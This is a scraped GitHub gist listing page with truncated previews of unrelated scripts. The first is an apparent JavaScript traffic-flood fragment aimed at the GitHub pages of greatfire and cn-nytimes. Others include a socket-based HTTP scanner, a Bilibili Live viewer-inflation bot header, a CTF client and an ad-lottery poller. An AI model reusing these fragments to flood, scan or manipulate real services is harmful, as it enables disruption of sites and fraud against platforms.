This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>"); | |
!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>"); | |
startime = (new Date).getTime(); | |
var count = 0; | |
function unixtime() { | |
var a = new Date; | |
return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3 | |
} | |
url_array = ["https://github.com/greatfire", "https://github.com/cn-nytimes"]; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<h5>Real H5 Page</h5> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket , struct , time | |
from optparse import OptionParser | |
from threading import Thread | |
from multiprocessing.pool import ThreadPool | |
def scan(ip): | |
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) | |
s.connect((ip,80)) | |
s.send("GET / HTTP/1.1\r\nHost: " + host + "\r\nConnection: close\r\nUser-Agent: fucksb\r\n\r\n") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
#coding:utf-8 | |
# Author: Beining --<cnbeining#gmail.com> | |
# Author: TYPCN --<typcncom#gmail.com> ( Performance improve and fix ) | |
# Purpose: A simple script to get lots of viewers of Bilibili Live | |
# Created: 08/11/2015 | |
# Error report: http://www.cnbeining.com/?p=952 | |
# https://github.com/cnbeining somewhere within my gists | |
import sys |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
extern void SACLockScreenImmediate ( ); | |
SACLockScreenImmediate(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// 解析出来是 mp4 . 要拿 m3u8 把 android 换成 ios,pver 自己抓包 | |
var crypto = require('crypto'); | |
function geturl(uu,vu) { | |
var ts = parseInt(Date.now()/1000); | |
var sign = getSign('cf=android&format=json&ran=' + ts + '&uu=' + uu + '&ver=2.1&vu=' + vu); | |
var finalURL = 'http://api.letvcloud.com/gpc.php?uu=' + uu + '&vu=' + vu + '&cf=android&format=json&ver=2.1&ran=' + ts + '&sign=' + sign + '&pver=android_1.0.1&playid=0&pf=android&spf=0' | |
return finalURL; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var fs = require('fs'); | |
var bsplit = require('buffer-split'); | |
var p1 = fs.readFileSync('./part1'); | |
write(p1); | |
function write(px) { | |
var pkts = bsplit(px,new Buffer('GET ')); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import struct | |
from PIL import Image | |
import dpkt | |
import binascii | |
INIT_X, INIT_Y = 1000, 1000 | |
def compliment(h): | |
i = int(h, 16) | |
return i - ((0x80 & i) << 1) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var fs = require("fs"); | |
var p = require("node-protobuf"); | |
var pb = new p(fs.readFileSync("out.desc")); | |
var tls = require('tls'); | |
var crypto = require('crypto'); | |
var http = require("http"); | |
var conn = tls.connect(13001, 'ssl-added-and-removed-here.ctfcompetition.com', (socket) => { | |
console.log('Connected'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const tpush = require('typcnpush-sdk'); | |
const http = require('http'); | |
tpush.useInternalMode(); | |
setInterval(function(){ | |
let options = { | |
host: 'ume1.umetrip.com', | |
port: 80, | |
path: '/UmeAd/everyday/luck.do?sid=YOUR_SESSION_ID', | |
method: 'GET' |
OlderNewer